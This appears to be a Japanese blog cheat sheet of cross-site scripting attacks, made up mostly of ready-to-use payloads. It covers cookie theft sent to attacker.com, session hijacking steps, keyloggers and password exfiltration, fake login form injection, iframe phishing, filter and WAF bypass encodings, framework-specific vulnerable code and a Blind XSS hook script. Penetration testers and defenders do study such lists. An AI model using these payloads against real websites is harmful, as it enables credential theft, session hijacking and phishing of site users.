XSS チートシート

cheatsheet

1. 基本的なスクリプト注入 (動作確認) 🎯

最も基本的なXSSペイロード。脆弱性の存在を確認するために使用されます。

  • alert() によるポップアップ表示

    <script>alert('XSS');</script>
    <script>alert(1);</script>
    <IMG SRC="javascript:alert('XSS');">
    <IMG SRC=javascript:alert('XSS')>
    <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

    最も古典的で一般的な方法。特定の文字列や数値(例: 1)を表示させます。

  • console.log() によるコンソール出力

    <script>console.log('XSS');</script>
    <IMG SRC="javascript:console.log('XSS');">

    ブラウザの開発者コンソールにログを出力します。ポップアップがブロックされる環境で有効です。

  • document.write() によるページ書き換え

    <script>document.write('XSS');</script>
    <IMG SRC="javascript:document.write('XSS');">

    ページのコンテンツを書き換えます。単純な文字列挿入で動作確認ができます。

2. Cookieの窃取 🍪

ユーザーのCookie情報を攻撃者のサーバーに送信させます。セッションハイジャックの足がかりとなります。

  • 基本的なCookie送信

    <script>document.location='http://attacker.com/log?cookie=' + document.cookie;</script>
    <script>new Image().src="http://attacker.com/log?cookie=" + document.cookie;</script>
    <script>fetch('http://attacker.com/log?cookie=' + document.cookie);</script>

    document.cookie で取得したCookieを、攻撃者のサーバーURLのパラメータとして付与し、リクエストを送信します。[14, 16, 19]

  • XMLHttpRequest を利用した送信

    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'http://attacker.com/log?cookie=' + document.cookie);
    xhr.send();

    非同期通信を利用してCookieを送信します。画面遷移なしで実行可能です。

  • navigator.sendBeacon() を利用した送信

    navigator.sendBeacon('http://attacker.com/log', document.cookie);

    ページがアンロードされる際にも確実にデータを送信できるAPIを利用します。

  • HttpOnly 属性が付与されていないCookieが対象です。[19, 24]

3. セッションハイジャック 👤

窃取したCookie(特にセッションID)を利用して、被害者になりすましてログインします。

  1. Cookie窃取ペイロードを実行させ、攻撃者のサーバーでセッションIDを含むCookieを受け取る。[13, 14, 29]
  2. 攻撃者は受け取ったセッションIDを自身のブラウザのCookieに設定する(開発者ツールや拡張機能を使用)。
  3. セッションIDが有効なウェブサイトにアクセスすると、被害者としてログインされた状態になる。[13, 14]

セッションIDがCookie以外の場所(LocalStorage, SessionStorageなど)に保存されている場合は、それを窃取するペイロードに変更する必要があります。

4. キー入力情報の窃取 (キーロガー) ⌨️

ユーザーがキーボードで入力した情報を記録し、攻撃者のサーバーに送信します。

  • addEventListener を利用した基本的なキーロガー

    var keys = '';
    document.addEventListener('keypress', function(e) {
      keys += e.key;
      // 定期的に、または特定のタイミングで攻撃者のサーバーに送信
      // 例: fetch('http://attacker.com/log?keys=' + keys);
    });

    keypress イベントを監視し、入力されたキーを記録します。パスワード入力欄などで悪用される可能性があります。[3, 41, 42]

  • イベントハンドラ属性を利用したキーロガー

    <img src="invalid-image" onerror='window.onkeypress = (e) => { fetch("http://attacker.com/log?key=" + e.key); };'>

    onerrorなどのイベントハンドラ内にキーロガーのロジックを埋め込みます。

  • パスワードフィールドに特化した例

    <input type=password name=password onchange=”if(this.value.length)fetch('http://attacker.com/log',{ method:'POST', body:this.value });”>

    パスワードフィールドの値が変更されたときに、その内容を送信します。

信頼されたサイト上で偽のログインフォームや情報を表示し、ユーザーを騙して認証情報などを入力させます。

  • 偽のログインフォームの表示

    <script>
      document.body.innerHTML = '<h2>セッションが切れました。再ログインしてください。</h2><form action="http://attacker.com/fake_login" method="post">ID: <input type="text" name="username"><br>Pass: <input type="password" name="password"><br><input type="submit" value="ログイン"></form>';
    </script>

    JavaScriptを使ってページのコンテンツを完全に書き換え、偽のログインフォームを表示します。action属性で攻撃者のサーバーに入力内容を送信させます。[8, 13, 15, 22]

  • 既存ページの一部改ざん

    document.getElementById('targetElement').innerHTML = '新しいパスワードを設定してください: <input type="password" name="new_password">';
    // または、重要な情報を表示する部分を偽の情報に書き換える

    特定の要素の内容を書き換えて、ユーザーに誤った情報を信じ込ませたり、不正な操作を誘導したりします。

  • iframe を利用したフィッシング

    <iframe src="http://attacker-phishing-site.com" width="100%" height="500"></iframe>

    信頼されたサイト内にiframeで攻撃者のフィッシングサイトを埋め込みます。

6. DOM Manipulation (DOMベースXSS) 🌳

サーバーサイドを経由せず、クライアントサイドのJavaScriptがDOMを操作する過程で発生するXSS。[1, 2, 3, 10, 11, 13, 15, 25, 30, 34, 36]

DOMベースXSSは、JavaScriptがユーザー入力(URLのフラグメント `#` 以降など)を解釈し、それを `innerHTML`、`document.write`、`eval` などの危険なSink(出力関数/プロパティ)に渡すことで発生します。

  • location.hash を利用した例

    例: http://example.com/page#<img src=x onerror=alert(1)>

    // 脆弱なコード例
    var hash = location.hash.substring(1);
    document.getElementById('content').innerHTML = decodeURIComponent(hash);

    URLのハッシュ部分 (`#`以降) を取得し、デコードして `innerHTML` に設定するコード。ハッシュ部分にHTML/JavaScriptを埋め込むことで攻撃が可能です。

  • document.URL, document.referrer, window.name などを利用した例 [15, 30]

    // 脆弱なコード例
    var referrer = document.referrer;
    document.getElementById('refInfo').innerHTML = "Referrer: " + referrer;
    // referrer に悪意のあるコードが含まれている場合、XSSが発生

    `document.referrer` や `window.name` など、攻撃者が制御可能な値がサニタイズされずにDOMに書き込まれる場合に発生します。

  • Sink (危険な関数/プロパティ) の例:

    • element.innerHTML = ...
    • element.outerHTML = ...
    • document.write(...)
    • document.writeln(...)
    • eval(...)
    • setTimeout(...) / setInterval(...) (第一引数が文字列の場合)
    • new Function(...)
    • element.setAttribute('oneventhandler', ...)
    • location.href = 'javascript:...'
    • など

7. フィルター回避・バイパス手法 👻

WAFや入力フィルタリングによる検知・防御を回避するためのテクニック。

手法 説明
タグの難読化 タグ名の大文字小文字混合、不要な空白、スラッシュ追加などで検知を回避する。
<ScRiPt>alert(1)</sCrIpT>
<IMG ""> SRC=javascript:alert("XSS")>
<IMG SRC=javascript:alert('XSS') />
イベントハンドラの利用 <script>タグがブロックされる場合に、onerror, onload, onmouseoverなどのイベントハンドラを利用する。
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<div onmouseover="alert(1)">Mouse over me</div>
<a href="#" onclick="alert(1)">Click me</a>
エンコーディング URLエンコード、HTMLエンティティエンコード(10進、16進)、JavaScriptエンコード(Unicodeエスケープなど)を組み合わせてフィルターをバイパスする。[11, 36]
<!-- URLエンコード -->
%3Cscript%3Ealert(1)%3C/script%3E

<!-- HTMLエンティティ (10進) -->
<img src=x onerror=alert(1)>

<!-- HTMLエンティティ (16進) -->
<img src=x onerror=alert(1)>

<!-- JavaScript Unicodeエスケープ -->
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>

<!-- 混合 -->
<a href="javascript:alert(1)">Click</a>
javascript: スキーム hrefsrc 属性で javascript: スキームを利用する。
<a href="javascript:alert(1)">Click Me</a>
<iframe src="javascript:alert(1)"></iframe>

スキームチェックがない場合に有効。

Nullバイト挿入 %00 などのNullバイトを挿入してフィルターを混乱させる(古いシステムで有効な場合がある)。
<img src=x%00 onerror=alert(1)>
コメント挿入 HTMLコメント (<!-- -->) や JavaScriptコメント (//, /* */) をペイロード内に挿入してシグネチャベースの検出を回避する。
<scr<!-- -->ipt>alert(1)</scr<!-- -->ipt>
<img src="x" onerror="// comment\nalert(1)">

U+2028/U+2029 (改行文字)を利用したバイパスも存在する。

文字列連結・分割 JavaScriptコードを分割し、実行時に連結することで検知を回避する。
<script>var s='al'; var t='ert'; window[s+t](1);</script>
<script>eval('al' + 'ert(1)');</script>
特殊なタグ・属性 <svg>, <details>, <isindex> (古いブラウザ), <marquee> などのあまり一般的でないタグや、style属性内のexpression() (古いIE) や background-image など。[6, 26]
<svg onload=alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)></marquee>
<div style="width:expression(alert(1))"> (IE <= 7)
<div style="background-image: url(javascript:alert(1))">
テンプレートリテラル (バッククォート) JavaScriptの文字列をバッククォート(`)で囲む。フィルターがこれを認識しない場合がある。
<img src=`javascript:alert(1)`>
プロトコル削除・変更 URLのプロトコル部分(`http:`, `https:`)を省略したり、大文字小文字を混ぜたり、タブ文字などを挿入したりする。
<a href="//attacker.com">Link</a>
<a href="j%09ava%09script:alert(1)">Click</a>

8. フレームワーク・ライブラリ特有のベクトル 🧩

特定のJavaScriptフレームワークやライブラリの利用方法に起因するXSS。

  • React: dangerouslySetInnerHTML

    // 脆弱なコード
    const userInput = '<img src=x onerror=alert(1)>';
    return <div dangerouslySetInnerHTML={{ __html: userInput }} />;

    意図的にHTMLをエスケープせずに埋め込む機能。ユーザー入力を直接渡すとXSSが発生する。

  • React: javascript: スキーム in href

    // 脆弱なコード
    const userLink = 'javascript:alert(1)';
    return <a href={userLink}>Click Me</a>;

    Reactは通常属性値をエスケープするが、hrefへのjavascript:スキームはそのまま渡されることがある。

  • Angular: bypassSecurityTrustHtml

    // 脆弱なコード in Component
    import { DomSanitizer } from '@angular/platform-browser';
    
    constructor(private sanitizer: DomSanitizer) {}
    
    getTrustedHtml(userInput: string) {
      return this.sanitizer.bypassSecurityTrustHtml(userInput);
    }
    
    // Template
    <div [innerHTML]="getTrustedHtml('<img src=x onerror=alert(1)>')"></div>

    Angularのサニタイズ機構を意図的にバイパスする関数。ユーザー入力を渡すとXSSが発生する。

  • Vue.js: v-html

    <!-- 脆弱なコード -->
    <div v-html="userInput"></div>
    <!-- script -->
    <script>
      export default {
        data() {
          return {
            userInput: '<img src=x onerror=alert(1)>'
          }
        }
      }
    </script>

    HTMLをそのままレンダリングするディレクティブ。ユーザー入力を直接バインドするとXSSが発生する。

  • Laravel (デバッグモード): エラーページでの未エンコード表示

    特定のバージョンにおいて、デバッグモード(APP_DEBUG=true)有効時にエラーページでリクエストパラメータが適切にエンコードされず、Reflected XSSが発生する可能性があった。

  • Beego (Goフレームワーク): フォーム表示関数

    特定のバージョンにおいて、フォーム表示関連の関数にXSS脆弱性が存在した。

  • 注意:

    フレームワークはデフォルトで多くのXSS対策を提供しているが、開発者が明示的に安全でない機能を使用したり、設定を誤ったりすると脆弱性が生じる可能性がある。[12, 23, 24]

9. 高度・特殊な手法 👽

より複雑な条件や、特定のブラウザ挙動を利用する手法。

  • Mutation XSS (mXSS)

    ブラウザがHTMLをパース・修正する過程で、サニタイズ後には安全だったはずのコードが、DOMツリーに追加される際に意図せず危険な形に変異(mutate)して実行されてしまうXSS。[4, 5, 6, 7, 9]

    例: サニタイザが一度処理した安全なコードが、innerHTML などでDOMに追加される際にブラウザのHTMLパーサーの挙動によって危険なコードに変化する。

    <!-- サニタイズ後のコード(例) -->
    <svg><style><!-- --></style><img src="x"></svg>
    
    <!-- innerHTMLなどでDOMに追加されると... -->
    <!-- ブラウザによってはstyle要素の解釈が変わり、後続のimgタグがonerrorなどをトリガーする可能性がある -->
    <svg><style></style><img src="x" onerror=alert(1)></svg> <!-- 変異後のイメージ -->

    ブラウザのパーサーの癖や、HTML/SVG/MathMLなどの名前空間の扱いの違いを利用することがある。 DOMPurifyなどのサニタイザはこのmXSSへの対策を試みている。

  • Blind XSS

    攻撃者がペイロードを注入した時点では結果が見えず、後から別のユーザー(多くは管理者など)がそのデータを含むページ(ログ管理画面など)を閲覧した際に初めてペイロードが実行されるXSS。Stored XSSの一種。[11, 31]

    例: フィードバックフォームに <script src="http://attacker.com/hook.js"></script> を入力。管理者が管理画面でフィードバック一覧を確認した際にスクリプトが実行され、管理者のCookieが盗まれるなどする。[11, 31]

    攻撃者には直接実行結果が見えないため、外部のサーバーに情報を送信させるペイロード (例: BeEFフックなど) がよく用いられる。[17, 31]

  • Self-XSS

    ユーザー自身が開発者ツールなどを利用して、自分のブラウザ上でのみ実行可能な悪意のあるコードを入力してしまう場合に発生する。通常、直接的な脅威は低いが、ソーシャルエンジニアリングと組み合わせて悪用されることがある。

    例: 「コンソールにこのコードを貼り付けると隠し機能が使えます」のように騙して実行させる。

  • Universal XSS (UXSS)

    ブラウザ自体の脆弱性を利用し、同一オリジンポリシーを回避して任意のオリジンでスクリプトを実行する攻撃。Webアプリケーションの脆弱性ではなく、ブラウザの脆弱性に起因する。

10. その他の攻撃への利用 🔗

XSSを起点として他の攻撃に繋げる手法。

  • CSRF (Cross-Site Request Forgery) への利用: XSSペイロードを使用して、ユーザーのブラウザから意図しないリクエスト(パスワード変更、商品購入など)を強制的に送信させる。[14, 31]
  • マルウェアの配布: ユーザーを不正なサイトにリダイレクトさせたり、ドライブバイダウンロード攻撃の起点としたりする。
  • ブラウザ中間者攻撃 (MitB): 悪意のあるスクリプトを注入し、ユーザーとウェブサイト間の通信内容を盗聴・改ざんする。
  • ポートスキャン・内部ネットワーク探索: 被害者のブラウザをプロキシとして、内部ネットワークの他のホストやポートに対してリクエストを送信させる。
  • 仮想通貨マイニング (クリプトジャッキング): 被害者のブラウザのリソースを使用して、バックグラウンドで仮想通貨のマイニングを実行させる。
  • DoS (Denial of Service): 大量のリクエストを生成させたり、ブラウザをクラッシュさせたりするスクリプトを実行する。

コメント

タイトルとURLをコピーしました